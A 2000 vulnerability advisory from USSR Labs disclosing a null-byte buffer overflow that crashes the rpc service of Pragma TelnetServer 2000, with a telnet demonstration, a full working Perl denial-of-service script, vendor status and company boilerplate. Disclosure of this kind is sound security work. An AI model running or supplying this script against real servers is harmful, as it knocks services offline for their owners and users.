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Remote DoS Attack in Pragma TelnetServer 2000 (Remote Execute Daemon)

Vulnerability



USSR Advisory Code:  USSR-2000051



Release Date:

August 24, 2000



Systems Affected:

Pragma TelnetServer 2000 for Windows NT/2000





THE PROBLEM:



The Ussr Labs team has recently discovered a buffer overflow memory

problem in the rpc module of the Pragma TelnetServer 2000



What happens is by performing an attack with a malformed request to

port 512

it will cause the process containing the services to crash.





SPECIAL NOTE:

That we take no responsibility for this code it is for educational

purposes only.





DEMONSTRATION:

[hellme@die-communitech.net$ telnet example.com 512

Trying example.com...

Connected to example.com.

Escape character is '^]'.

[buffer]



Where [buffer] is approx. 1000 NULL characters, and the process

containg the service crashes





EXPLOIT in Perl:

- -------------------------Start File--------------------

#!/usr/bin/perl

#########################################################

# Exploit by USSRLabs www.ussrback.com

# send 5k of null causes the server to crash.

#########################################################

#

# ./$0.pl -s  -p 

#

# Null request DoS

#

use Getopt::Std;

use Socket;



getopts('s:p', \%args);

if(!defined($args{s})){&usage;}



my($serv,$port,$URL,$buf,$in_addr,$paddr,$proto);

$serv = $args{s};      # remote server

$port = $args{p} || 512;      # remote port, default is 512

$foo = "\0"; # this is the Null

$number = "1000"; # this is the total number of Null

$data .= $foo x $number; # result of $foo times $number

$buf = "$data"; # issue this response to the server



$in_addr = (gethostbyname($serv))[4] || die("Error: $!\n");

$paddr = sockaddr_in($port, $in_addr) || die ("Error: $!\n");

$proto = getprotobyname('tcp') || die("Error: $!\n");



socket(S, PF_INET, SOCK_STREAM, $proto) || die("Error: $!");

connect(S, $paddr) ||die ("Error: $!");

select(S); $| = 1; select(STDOUT);

print S "$buf";



print("Data has been successfully sent to $serv\n");



sub usage {die("\n\n$0 -s  [ -p  ]\n\n");}

- -------------------------End File----------------------





Vendor Status:

Informed!, Contacted!.



Fix:

Fixed for Build 2 of TelnetServer 2000 released soon.



Vendor   Url: http://www.pragmasys.com

Program  Url: http://www.pragmasys.com/TelnetServer/



Related Links:



Underground Security Systems Research:

http://www.ussrback.com



CrunchSp Product:

http://www.crunchsp.com





About:



USSR is a young company based in South America devoted to

research about computers, network security, and software

protection systems

One of the main objectives of USSR is to develop and implement new

security and protection systems based on our knowledge and

experience.



However, we believe that the way we implement security solutions,

can make a difference, CrunchSP is a good example.

In our day to day research we detect vulnerability issues in

different applications that we publish on our advisory board.



Most of USSR programmers and partners have more than 12 years

of experience in different computer based applications, with

great knowledge in high and low level programming lenguages.



For further information on USSR, feel free to contact us by email.



USSR has assembled some of the worlds greatest software developers

and security consultants to help us provide our customers this great

range of security services:



* Network Penetration Testing

* Security Application development

* Application Security Testing and Certification

* Security Based on Security Tools

* Cryptography

* Emergency Response Team

* Firewalling

* Virtual Private Networking

* Intrusion Detection

* Support and maintenance



Copyright (c) 1999-2000 Underground Security Systems Research.

Permission is hereby granted for the redistribution of this alert

electronically. It is not to be edited in any way without explicit

consent of Ussr. If you wish to reprint whole or any part of this

alert in any other medium excluding electronic medium, please e-mail

labs@ussrback.com for permission.



Disclaimer:

The information within this paper may change without notice. We may

not be held responsible for the use and/or potential effects of these

programs or advisories.  Use them and read them at your own risk or

not at all. You solely are responsible for this judgement.



Feedback:

Please send suggestions, updates, and comments to:



Underground Security Systems Research

mail:labs@ussrback.com

http://www.ussrback.com



u n d e r g r o u n d  s e c u r i t y  s y s t e m s  r e s e a r c

h

http://www.ussrback.com





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